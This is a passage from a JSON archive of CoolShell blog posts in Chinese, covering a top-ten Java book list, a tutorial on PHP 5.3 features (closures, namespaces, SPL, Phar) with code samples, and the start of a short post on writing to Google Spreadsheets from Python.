    "content": "<html><body><p>下面是<a href=\"http://www.kiatemy.com/\" target=\"_blank\">Java Inside</a>上推荐的十本不错的Java书籍。（<a href=\"http://www.kiatemy.com/?p=93\" target=\"_blank\">文章来源</a>）</p>\n<p><a href=\"http://www.kiatemy.com/wp-content/uploads/2009/01/jls3e.jpg\" target=\"_blank\"></a></p>\n<p style=\"text-align: left;\"><img alt=\"Java编程规范（第三版）\" border=\"0\" class=\"alignright\" src=\"http://images.china-pub.com/ebook30001-35000/30979/zcover.jpg\"/></p>\n<p style=\"text-align: left;\"> <span style=\"color: #787878; font-family: Arial;\"> </span><strong>1）Java Language Specification, <em>Third Edition</em></strong> (<em>by James Gosling</em>) </p>\n<p>本书由Java技术的发明者编写，是Java TM编程语言的权威性技术指南。如果你想知道语言之构造的精确含义，本书是最好的资源。</p>\n<p>中文版链接：《<a href=\"http://www.china-pub.com/30979\" target=\"_blank\">Java编程规范</a>》<br/>\n英文版链接：《<a href=\"http://www.amazon.com/gp/product/0321246780/qid=1151978234/sr=11-1/ref=sr_11_1/103-0196201-4410255?n=283155\" target=\"_blank\">The Java Language Specification (3rd Edition) </a>》</p>\n<p> <span id=\"more-14\"></span></p>\n<p><strong><img alt=\"Effective Java中文版(第2版)\" border=\"0\" class=\"alignright\" src=\"http://images.china-pub.com/ebook195001-200000/195040/zcover.jpg\"/></strong><span style=\"color: #787878; font-family: Arial;\"> </span><strong>2）</strong> <strong>Effective Java</strong> , <strong><em>Second Edition</em></strong> (<em>by Joshua Bloch</em>)</p>\n<p>本书介绍了在Java编程中78条极具实用价值的经验规则，这些经验规则涵盖了大多数开发人员每天所面临的问题的解决方案。通过对Java平台设计专家所使用的技术的全面描述，揭示了应该做什么，不应该做什么才能产生清晰、健壮和高效的代码。.</p>\n<p>本书中的每条规则都以简短、独立的小文章形式出现，并通过例子代码加以进一步说明。本书内容全面，结构清晰，讲解详细。可作为技术人员的参考用书。…</p>\n<p>中文版链接：《<a href=\"http://www.china-pub.com/195040\" target=\"_blank\"><span style=\"color: #2970a6;\">Effective Java 第二版</span></a>》<br/>\n英文版链接：《<a href=\"http://www.amazon.com/Effective-Java-2nd-Joshua-Bloch/dp/0321356683/ref=sr_11_1?ie=UTF8&amp;qid=1231898916&amp;sr=11-1\" target=\"_blank\"><span style=\"color: #2970a6;\">Effective Java (2nd Edition) </span></a>》</p>\n<p><strong><img alt=\"JAVA并发编程实践\" border=\"0\" class=\"alignright\" src=\"http://images.china-pub.com/ebook30001-35000/34825/zcover.jpg\"/></strong><span style=\"color: #787878; font-family: Arial;\"> </span><strong>3)</strong> <strong>Java Concurrency in Practice</strong> (<em>by Brian Goetz</em>)</p>\n<p>随着多核处理器的普及，使用并发成为构建高性能应用程序的关键。Java 5以及6在开发并发程序取得了显著的进步，提高了Java虚拟机的性能，提高了并发类的可伸缩性，并加入了丰富的新并发构建块。在本书中，这些便利工具的创造者不仅解释了它们究竟如何工作、如何使用，同时，还阐释了创造它们的原因，及其背后的设计模式。 本书既能够成为读者的理论支持，又可以作为构建可靠的，可伸缩的，可维护的并发程序的技术支持。本书并不仅仅提供并发API的清单及其机制，本书还提供了设计原则，模式和思想模型，使我们能够更好地构建正确的，性能良好的并发程序。</p>\n<p>本书的读者是那些具有一定Java编程经验的程序员、希望了解Java SE 5，6在线程技术上的改进和新特性的程序员，以及Java和并发编程的爱好者。</p>\n<p>中文版链接：《<a href=\"http://www.china-pub.com/34825\" target=\"_blank\">JAVA并发编程实践</a>》<br/>\n英文版链接：《<a href=\"http://www.amazon.com/Java-Concurrency-Practice-Brian-Goetz/dp/0321349601/ref=pd_bbs_sr_1/104-7541332-0393550?ie=UTF8&amp;s=books&amp;qid=1184131642&amp;sr=1-1\" target=\"_blank\">Java Concurrency in Practice<span style=\"color: #012c83; font-family: Arial;\"> </span></a>》</p>\n<p><strong><img alt=\"JAVA解惑\" border=\"0\" class=\"alignright\" src=\"http://images.china-pub.com/ebook25001-30000/28310/zcover.jpg\"/></strong><span style=\"color: #787878; font-family: Arial;\"> </span><strong>4）Java Puzzles: Traps, Pitfalls and Corner Cases</strong> (<em>by Joshua Bloch</em>)</p>\n<div>Java教父的又一经典名著–Java Puzzlers，Amazon五星图书。认为你到底有多了解Java？你是一个代码神探吗？你是否曾经花费过数天时间去追踪一个由Java或其类库的陷阱和缺陷而导致的bug？你喜欢智力测验吗？那么这本书正好适合你！</div>\n<p>中文版链接：《<a href=\"http://www.china-pub.com/28310\" target=\"_blank\">JAVA解惑</a>》<br/>\n英文版链接：《<a href=\"http://www.amazon.com/gp/product/032133678X/qid=1134008561/sr=2-1/ref=pd_bbs_b_2_1/103-5953105-7638227?s=books&amp;v=glance&amp;n=283155\" target=\"_blank\">Java Puzzlers : Traps, Pitfalls, and Corner Cases </a>》</p>\n<p><strong><img alt=\"Java编程思想(第4版)(经典图书最新版本) (07年度畅销榜NO.4)\" border=\"0\" class=\"alignright\" src=\"http://images.china-pub.com/ebook30001-35000/34838/zcover.jpg\"/></strong><span style=\"color: #787878; font-family: Arial;\"> </span><strong>5)</strong> <strong>Thinking in Java</strong> (<em>by Bruce Eckel</em>)</p>\n<p>本书赢得了全球程序员的广泛赞誉，即使是最晦涩的概念，在Bruce Eckel的文字亲和力和小而直接的编程示例面前也会化解于无形。从Java的基础语法到最高级特性（深入的面向对象概念、多线程、自动项目构建、单元测试和调试等），本书都能逐步指导你轻松掌握。</p>\n<p>从本书获得的各项大奖以及来自世界各地的读者评论中，不难看出这是一本经典之作。本书的作者拥有多年教学经验，对C、C++以及Java语言都有独到、深入的见解，以通俗易懂及小而直接的示例解释了一个个晦涩抽象的概念。本书共22章，包括操作符、控制执行流程、访问权限控制、复用类、多态、接口、通过异常处理错误、字符串、泛型、数组、容器深入研究、Java I/O系统、枚举类型、并发以及图形化用户界面等内容。这些丰富的内容，包含了Java语言基础语法以及高级特性，适合各个层次的Java程序员阅读，同时也是高等院校讲授面向对象程序设计语言以及Java语言的绝佳教材和参考书。</p>\n<p>中文版链接：《<a href=\"http://www.china-pub.com/34838\" target=\"_blank\">JAVA编程思想(第4版)</a>》<br/>\n英文版链接：《<a href=\"http://www.amazon.com/Thinking-Java-4th-Bruce-Eckel/dp/0131872486/ref=sr_11_1/104-7541332-0393550?ie=UTF8&amp;qid=1182221667&amp;sr=11-1\" target=\"_blank\">Thinking in Java (4th Edition) </a>》</p>\n<p><strong></strong> </p>\n<p><strong><img alt=\"轻快的Java\" border=\"0\" class=\"alignright\" src=\"http://images.china-pub.com/ebook30001-35000/31157/zcover.jpg\"/></strong><span style=\"color: #787878; font-family: Arial;\"> </span><strong>6)</strong> <strong>Better, faster, lighter Java</strong> (<em>by Justin Gehtland, Bruce A. Tate</em>)</p>\n<p>Java的开发者正深陷于复杂性的泥沼中而无法自拔。我们的经验和能力正接近极限，程序员为了编写支持所选框架的程序所花的时间比解决真正问题的时间要多得多。我们不禁要问，有必要把Java搞得这么复杂吗?.</p>\n<p>答案是否定的。本书给你指引了一条出路。无论是维护应用程序，还是从头开始设计，你都能够超越成规，并大幅精简基本框架、开发过程和最终代码。你能重新掌握一度失控的J2EE应用程序。..</p>\n<p>在本书中，原作者Bruce A．Tate与Justin Gehtland将循序渐进、娓娓道来。首先，他们列出了五项基本法则。他们展示了如何构建简单、解耦的代码，并告诉你如何选择技术。他们还对两种被广泛运用的开源程序如何迎合这些概念进行了剖析。最后，作者还将利用这些基本概念构建一个简单但内涵丰富的应用程序来解决现实世界中所遇到的问题。</p>\n<p>中文版链接：《<a href=\"http://www.china-pub.com/31157\" target=\"_blank\">轻快的JAVA</a>》<br/>\n英文版链接：《<a href=\"http://www.amazon.com/gp/product/0596006764/sr=1-1/qid=1154660697/ref=pd_bbs_1/103-0057155-0283849?ie=UTF8&amp;s=books\" target=\"_blank\">Better, Faster, Lighter Java </a> 》</p>\n<p><strong><img alt=\"Java核心技术,卷1(原书第8版)(china-pub 全国首发)\" border=\"0\" class=\"alignright\" src=\"http://images.china-pub.com/ebook205001-210000/208978/zcover.jpg\"/></strong><strong> 7)</strong> <strong>Core Java (vol. 1, 2)</strong> (<em>by Cay S. Horstmann, Gary Cornell</em>)</p>\n<p>《Java核心技术》出版以来一直畅销不衰，深受读者青睐，每个新版本都尽可能快地跟上Java开发工具箱发展的步伐，而且每一版都重新改写了部分内容，以便适应Java的最新特性。本版也不例外，它反映了Java SE 6的新特性。全书共14章，包括Java基本的程序结构、对象与类、继承、接口与内部类、图形程序设计、事件处理、Swing用户界面组件、部署应用程序和Applet、异常日志断言和调试、泛型程序设计、集合以及多线程等内容。.</p>\n<p>全书对Java技术的阐述精确到位，叙述方式深入浅出，并包含大量示例，从而帮助读者充分理解Java语言以及Java类库的相关特性。</p>\n<p>中文版链接：《JAVA核心技术，<a href=\"http://www.china-pub.com/208978\" target=\"_blank\">卷1</a>，<a href=\"http://www.china-pub.com/508881\" target=\"_blank\">卷2</a>》<br/>\n英文版链接：《<a href=\"http://www.amazon.com/Core-Java-I-Fundamentals-8th-Sun/dp/0132354764/ref=sr_11_1?ie=UTF8&amp;qid=1215592737&amp;sr=11-1\" target=\"_blank\">Core Java, Volume I–Fundamentals (8th Edition) </a>，<a href=\"http://www.amazon.com/Core-Java-Vol-Advanced-Features/dp/0132354799/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1227751671&amp;sr=1-1\" target=\"_blank\">Core Java, Vol. 2: Advanced Features, 8th Edition </a>》</p>\n<p><strong><img alt=\"The Java Virtual Machine Specification (2nd Edition)(英文原版进口）\" border=\"0\" class=\"alignright\" src=\"http://images.china-pub.com/ebook35001-40000/37364/zcover.jpg\"/></strong><span style=\"color: #787878; font-family: Arial;\"> </span><strong>8） The Java Virtual Machine Specification</strong> (<em>by Tim Linholm, Frank Yellin</em>)</p>\n<p>如果你需要了解Java虚拟机的byte code，或者是一些编译方面的东西，这本书绝对让你得偿所愿。其不但包含了机器码的规范说明，同时它也是Java编译器和运行环境的规格说明书。</p>\n<p>中文版链接：《无》<br/>\n英文版链接：《<a href=\"http://www.amazon.com/Java-Virtual-Machine-Specification-2nd/dp/0201432943/ref=sr_11_1?ie=UTF8&amp;qid=1196140587&amp;sr=11-1\" target=\"_blank\">The Java Virtual Machine Specification (2nd Edition) </a>》</p>\n<p><strong><img alt=\"Robust Java中文版--Java异常处理、测试与调试（amazon 4星图书，项目经理必备读物）(购买清华社红皮书系列满88元赠品)\" border=\"0\" class=\"alignright\" height=\"188\" src=\"http://images.china-pub.com/ebook190001-195000/191946/zcover.jpg\" style=\"DISPLAY: block; CURSOR: hand;\" vspace=\"5\" width=\"150\"/></strong></p>\n<p><span style=\"color: #787878; font-family: Arial;\"> </span><strong>9）Robust Java: Exception Handling, Testing, and Debugging </strong>(<em>by Stephen Stelting</em>)</p>\n<p>处理异常涉及开发、设计和体系结构等方面的知识。本书共分3个部分。<br/>\n　　第Ⅰ部分介绍Java异常的产生机理和用法，介绍一些最佳实践，讲述各类异常处理使用的一般API和技术。<br/>\n　　第Ⅱ部分阐述可测试性设计，介绍故障模式分析，讨论常见API的异常及起因，分析J2EE体系结构和分布式API的异常模式。<br/>\n　　第Ⅲ部分讨论在软件开发周期执行异常和错误处理，分析软件体系结构、设计模式、测试和调试，列举成熟的设计模式，介绍处理策略对系统体系结构的影响，讲述如何构建健壮系统。</p>\n<p>中文版链接：《<a href=\"http://www.china-pub.com/191946\" target=\"_blank\">ROBUST JAVA中文版–JAVA异常处理、测试与调试</a>》<br/>\n英文版链接：《<a href=\"http://www.amazon.com/exec/obidos/ASIN/0131008528/qid%3D1126685892/sr%3D11-1/ref%3Dsr_11_1/103-8394699-5235834\" target=\"_blank\">Robust Java Exception Handling,Testing and Debugging </a>》</p>\n<p>10）<a href=\"http://java.sun.com/docs/codeconv/CodeConventions.pdf\" target=\"_blank\"><strong>Java Code Convention</strong></a> </p>\n<p>最后一本当然是Java编码规范，这是由Sun公司官方出品的。这也是每个程序员为了得供程序的易读性，可维护性需要知道的。</p>\n<p><a href=\"http://java.sun.com/docs/codeconv/CodeConventions.pdf\" target=\"_blank\">http://java.sun.com/docs/codeconv/CodeConventions.pdf</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/14.html\">Java书籍Top 10</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-2 PHP v5.3的新鲜玩意.html",
    "content": "<html><body><p>PHP v5.3马上就要release了，这里让我们看看他有一些什么样的新特性。</p>\n<p><strong>1）_callStatic() magic 方法</strong></p>\n<pre class=\"EnlighterJSRAW\">class Foo\n{\n    public static function __callStatic( $name, $args )\n    {\n        echo \"Called method $name statically\";\n    } \n\n    public function __call( $name, $args )\n    {\n        echo \"Called method $name\";\n    }\n}</pre>\n<p><span id=\"more-11\"></span></p>\n<pre class=\"EnlighterJSRAW\">Foo::dog();       // outputs \"Called method dog statically\"\n$foo = new Foo;\n$foo-&amp;gt;dog();      // outputs \"Called method dog\"</pre>\n<p><strong>2）<span class=\"atitle\"><code>动态调用函数</code></span></strong></p>\n<pre class=\"EnlighterJSRAW\">class Dog\n{\n    public function bark()\n    {\n        echo \"Woof!\";\n    }\n&lt;span style=\"color: #333399;\"&gt;} \n\n$class = \"Dog\"\n$action = \"bark\";\n$x = new $class(); // instantiates the class \"Dog\"\n$x-&amp;gt;$action();     // outputs \"Woof!\" &lt;/span&gt;</pre>\n<p><strong><span class=\"atitle\">3) 标准</span></strong><strong><span class=\"atitle\">PHP</span></strong><strong><span class=\"atitle\">库（SPL）</span></strong></p>\n<p><span class=\"atitle\">加了了少数几个容器类，</span><span class=\"atitle\">比如，栈（</span>SplStack<span class=\"atitle\">）和固定数组（SplFixedArray）</span></p>\n<pre class=\"EnlighterJSRAW\">$stack = new SplStack(); \n\n// push a few new items on the stack\n$stack-&amp;gt;push(\"a\");\n$stack-&amp;gt;push(\"b\");\n$stack-&amp;gt;push(\"c\"); \n\n// see how many items are on the stack\necho count($stack); // returns 3 \n\n// iterate over the items in the stack\nforeach ( $stack as $item )\n    echo \"[$item],\";\n// the above outputs: [c][/c]\n\n [/c],[b],[a]  // pop an item off the stack echo $stack-&amp;gt;pop(); // returns \"c\"   // now see how many items are on the stack echo count($stack); // returns 2</pre>\n<p><strong><span class=\"atitle\">4) </span><span class=\"atitle\">Closures 功能</span></strong></p>\n<p><span class=\"atitle\">关于</span>Closures<span class=\"atitle\">，这是一个把函数定义成变量的玩意。让我们看几个例子：</span></p>\n<p><span class=\"atitle\">示例一：</span></p>\n<pre class=\"EnlighterJSRAW\">$string = \"Hello World!\";\n$closure = function() use ($string) { echo $string; };\n\n$closure();</pre>\n<p><strong>Output:</strong><br/>\nHello World!<br/>\n示例二 使用引用的变量</p>\n<pre class=\"EnlighterJSRAW\">$x = 1\n$closure = function() use (&amp;amp;$x) { ++$x; }\n\necho $x . \"\\\\n\";\n$closure();\necho $x . \"\\\\n\";\n$closure();\necho $x . \"\\\\n\";</pre>\n<p><strong>Output</strong>:<br/>\n1<br/>\n2<br/>\n3<br/>\n示例三，返回值</p>\n<pre class=\"EnlighterJSRAW\">function getAppender($baseString)\n{\n      return function($appendString) use ($baseString)\n  { return $baseString .$appendString; };\n}</pre>\n<p>示例四，Reflection</p>\n<pre class=\"EnlighterJSRAW\">class Counter\n{\n      private $x;\n\n      public function __construct()\n      {\n           $this-&amp;gt;x = 0;\n      }\n\n      public function increment()\n      {\n           $this-&amp;gt;x++;\n      }\n\n      public function currentValue()\n      {\n           echo $this-&amp;gt;x . \"\\\\n\";\n      }\n}\n$class = new ReflectionClass(\"Counter\");\n$method = $class-&amp;gt;getMethod(\"currentValue\");\n$closure = $method-&amp;gt;getClosure()\n$closure();\n$class-&amp;gt;increment();\n$closure();</pre>\n<p><strong>Output</strong>:<br/>\n0<br/>\n1<br/>\n示例五，Reflection API</p>\n<pre class=\"EnlighterJSRAW\">$closure = function ($x, $y = 1) {};\n$m = new ReflectionMethod($closure);\nReflection::export ($m);\n&lt;strong&gt;Output&lt;/strong&gt;:\nMethod [  public method __invoke ] {\n  - Parameters [2] {\n    Parameter #0 [  $x ]\n    Parameter #1 [  $y ]\n  }\n}</pre>\n<p>示例六，Uses Case</p>\n<pre class=\"EnlighterJSRAW\">$logdb = function ($string) { Logger::log(\"debug\",\"database\",$string);};\n$db = mysqli_connect(\"server\",\"user\",\"pass\");\n$logdb(\"Connected to database\");\n$db-&amp;gt;query(\"insert into parts (part, description) values\n (\"Hammer\",\"Pounds nails\");\n$logdb(\"Insert Hammer into to parts table\");\n$db-&amp;gt;query(\"insert into parts (part, description) values\n       (\"Drill\",\"Puts holes in wood\");\n$logdb(\"Insert Drill into to parts table\");\n$db-&amp;gt;query(\"insert into parts (part, description) values\n (\"Saw\",\"Cuts wood\");\n$logdb(\"Insert Saw into to parts table\");</pre>\n<p>更为详细的文章，请参考这里，<a href=\"http://www.ibm.com/developerworks/opensource/library/os-php-5.3new2/index.html\" target=\"_blank\">链接</a>。</p>\n<p><strong><span class=\"atitle\">5) </span><span class=\"atitle\">使用namespace</span></strong></p>\n<p><span class=\"atitle\">新版的PHP会开始支持C++式的namespace，请参看示例：</span></p>\n<p><span class=\"atitle\">示例一</span></p>\n<pre class=\"EnlighterJSRAW\">/* Foo.php */\n&amp;lt;?php\nnamespace Foo;\nfunction bar()\n{\n    echo \"calling bar....\";\n}\n?&amp;gt; \n\n/* File1.php */\n&amp;lt;?php\ninclude \"./Foo.php\";\nFoo/bar(); // outputs \"calling bar....\";\n?&amp;gt; \n\n/* File2.php */\n&amp;lt;?php\ninclude \"./Foo.php\";\nuse Foo as ns;\nns/bar(); // outputs \"calling bar....\";\n?&amp;gt; \n\n/* File3.php */\n&amp;lt;?php\ninclude \"./Foo.php\";\nuse Foo;\nbar(); // outputs \"calling bar....\";\n?&amp;gt;\n&lt;!--p include \"./Foo.php\"; use Foo; bar(); // outputs \"calling bar....\";--&gt;</pre>\n<p>示例二，多重namespace</p>\n<pre class=\"EnlighterJSRAW\">&lt;!--p namespace Foo; class Test {}  namespace Bar; class Test {}  $a = new Foo\\\\Test; $b = new Bar\\\\Test;  var_dump($a, $b);--&gt; &amp;lt;?php\nnamespace Foo;\nclass Test {} \n\nnamespace Bar;\nclass Test {} \n\n$a = new Foo\\\\Test;\n$b = new Bar\\\\Test; \n\nvar_dump($a, $b); \n\nOutput:\nobject(Foo\\\\Test)#1 (0) {\n}\nobject(Bar\\\\Test)#2 (0) {\n}\n&lt;strong&gt;Output:&lt;/strong&gt;\nobject(Foo\\\\Test)#1 (0) { }\nobject(Bar\\\\Test)#2 (0) { }</pre>\n<p>示例三，不同文件中的namespace</p>\n<pre class=\"EnlighterJSRAW\">/*定义*/\n/* global.php */\n&amp;lt;?php\nfunction hello()\n{\n    echo \"hello from the global scope!\";\n}\n?&amp;gt; \n\n/* Foo.php */\n&amp;lt;?php\nnamespace Foo;\nfunction hello()\n{\n    echo \"hello from the Foo namespace!\";\n}\n?&amp;gt; \n\n/* Foo_Bar.php */\n&amp;lt;?php\nnamespace Foo/Bar;\nfunction hello()\n{\n    echo \"hello from the Foo/Bar namespace!\";\n}\n?&amp;gt;\n&lt;!--p namespace Foo/Bar; function hello() {     echo \"hello from the Foo/Bar namespace!\"; }--&gt;\n\n/*使用 */\n&lt;!--p include \"./global.php\"; include \"./Foo.php\"; include \"./Foo_Bar.php\"; use Foo;  hello();         // outputs \"hello from the Foo namespace!\" Bar\\\\hello();   // outputs \"hello from the Foo/Bar namespace!\" \\\\hello();       // outputs \"hello from the global scope!\"--&gt;&amp;lt;?php\ninclude \"./global.php\";\ninclude \"./Foo.php\";\ninclude \"./Foo_Bar.php\";\n\nuse Foo; \n\nhello();         // outputs \"hello from the Foo namespace!\"\nBar\\\\hello();   // outputs \"hello from the Foo/Bar namespace!\"\n\\\\hello();       // outputs \"hello from the global scope!\"\n?&amp;gt;</pre>\n<p>更为详细的文章，请参考这里，<a href=\"http://www.ibm.com/developerworks/opensource/library/os-php-5.3new3/index.html\" target=\"_blank\">链接</a>。</p>\n<p><strong>6)开始支持Achieve包</strong></p>\n<p>正像JAR一样，PHP也要开始支持自己的Achieve包了，叫作，Phar。PHP提供了一整套函数来帮助开发人员创建和使用Phar，正如下面的示例所示：</p>\n<p style=\"padding-left: 30px;\"><strong>创建</strong>：</p>\n<pre class=\"EnlighterJSRAW\">$p = new Phar(\"/path/to/my.phar\",\n CURRENT_AS_FILEINFO | KEY_AS_FILENAME, \"my.phar\");\n$p-&amp;gt;startBuffering();</pre>\n<p style=\"padding-left: 30px;\"><strong>创建文件存根</strong>（stub）</p>\n<p><code class=\"EnlighterJSRAW\">$p-&amp;gt;setStub(\"&lt;!--p Phar::mapPhar();  include \"phar://myphar.phar/index.php\"; __HALT_COMPILER();--&gt;\");</code></p>\n<p style=\"padding-left: 30px;\"><strong>加入文件</strong>：</p>\n<pre class=\"EnlighterJSRAW\">$p[\"file.txt\"] = \"This is a text file\";\n$p[\"index.php\"] = file_get_contents(\"index.php\");\n$p[\"big.txt\"] = \"This is a big text file\";\n$p[\"big.txt\"]-&amp;gt;setCompressedBZIP2();\n//加入某目录下所有的文件\n$p-&amp;gt;buildFromDirectory(\"/path/to/files\",\"./\\\\.php$/\");</pre>\n<p style=\"padding-left: 30px;\"><strong>使用Phar</strong></p>\n<pre class=\"EnlighterJSRAW\">include \"myphar.phar\";\ninclude \"phar://myphar.phar/file.php\";</pre>\n<p>更为详细的文章，请参考这里，<a href=\"http://www.ibm.com/developerworks/opensource/library/os-php-5.3new4/index.html\" target=\"_blank\">链接</a>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5160.html\"><img alt=\"PHP分页技术的代码和示例\" height=\"150\" src=\"../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5160.html\">PHP分页技术的代码和示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2394.html\"><img alt=\"九个PHP很有用的功能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2394.html\">九个PHP很有用的功能</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11.html\">PHP v5.3的新鲜玩意</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-2 【引文】如何用Python往Google Spreadsheet上写数据.html",
    "content": "<html><body><p>现代企业里，数据决定着方向，人们都想随时看到各种报表。很多项目可能都需要dashboard一类的工作，把分散的数据变成一些能随时查看实时数据的图表，这个工作有两个环节：</p>\n<ol>\n<li>把数据汇集起来，放入CSV或者数据库</li>\n<li>一个服务器端的程序能够读到这写数据，根据需要生成在线的图表 （离线的也可以，那样每次人们想看这些图的时候都会来麻烦你，如果你在度假，他们会想敲开你的电脑）</li>\n</ol>\n<p><span id=\"more-37\"></span></p>\n<p>第一步可以通过定期跑些脚本完成，但是第二步有时候就不太容易了，如果你希望你的图表能够让所有人方便随时查看，最方便的给出一个URL能让人随时访问，Google的在线文档可以提供一个简单的解决方案。 </p>\n<p>但是，如何将数据自动弄到在Google spreadsheet 上呢？手动的copy/paste是一个方法，但是很费人工，最简单的方法就是写个脚本把这个流程自动化。如何将数据写进Spreadsheet (在线表单)呢？请参考下文：</p>\n<p><a href=\"http://www.mattcutts.com/blog/write-google-spreadsheet-from-python/\" rel=\"bookmark\" target=\"_blank\" title=\"Permanent link to Write to a Google Spreadsheet from a Python script\">Write to a Google Spreadsheet from a Python script</a></p>\n<p>注：这是个搜索方面比较大拿的Googler的博客。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – 